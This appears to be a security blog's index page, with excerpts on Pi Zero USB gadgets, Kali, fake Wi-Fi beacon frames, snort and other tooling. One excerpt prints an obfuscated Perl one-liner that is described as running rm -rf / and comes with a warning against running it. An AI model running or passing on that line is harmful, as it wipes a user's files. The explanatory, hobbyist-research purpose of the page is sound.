Curiosity in Practice
What will 2017 hold for the security industry? I sat down and looked into my crystal ball and came up with these 8 security predictions for 2017. A Fortune 500 Will Use “DDOS as a Service” To Attack A Competitor. A bored VP of Marketing with a paypal account, a six pack and … Read more
I have been playing with my stack of pizero a bunch lately and tonight I decided to put together a piZero OTG Ethernet gadget that runs Kali (Really KaToolin), XRDP and Mate in a computer on a stick configuration. This way I have a full (as I want it to be) Kali installation with me as long … Read more
I have been playing with my stack of piZero’s recently and started to read about the kernel OTG gadgets and was intrigued by the OTG_HID gadget. So after doing some reading I found that someone had ported the USB Rubber Ducky platform to the piZero and called it rspiducky. Building it is fairly straight forward but if you if … Read more
I have been reading a lot about Beacon Frames on my vacation this week (stop laughing) and I came across a tool in Kali called MDK3 that will allow you to send fake beacon frames. I couldnt pass up a chance to test this so I pulled out my trusty TL-WN722N and made a list of the 5,0000 … Read more
Thanks to PoisonTap I have finally had a reason to pull my PiZero out of the ever growing “Stuff to Hack” pile and start working on it. I have a couple of neat ideas that are coming down the pipeline but this weekend I built a VPN sidecar using a USB OTG Gadget. I … Read more
I am often asked “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.” While that is simple advice it is a lot harder to implement. One company I was working with was looking at a system to do … Read more
I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : … Read more
Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;s;;$_;see’ Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e ‘s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;print “$_\n”‘ While trying to figure out how this code code I stumbled … Read more
Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick … Read more
One of the first things I like to do when I start looking at a PCAP during an investigation is run it through snort to see if it finds anything suspicious. You can easily do this at the command line with snort -dv -r test.pcap but the output is not great. I have been using a tool called … Read more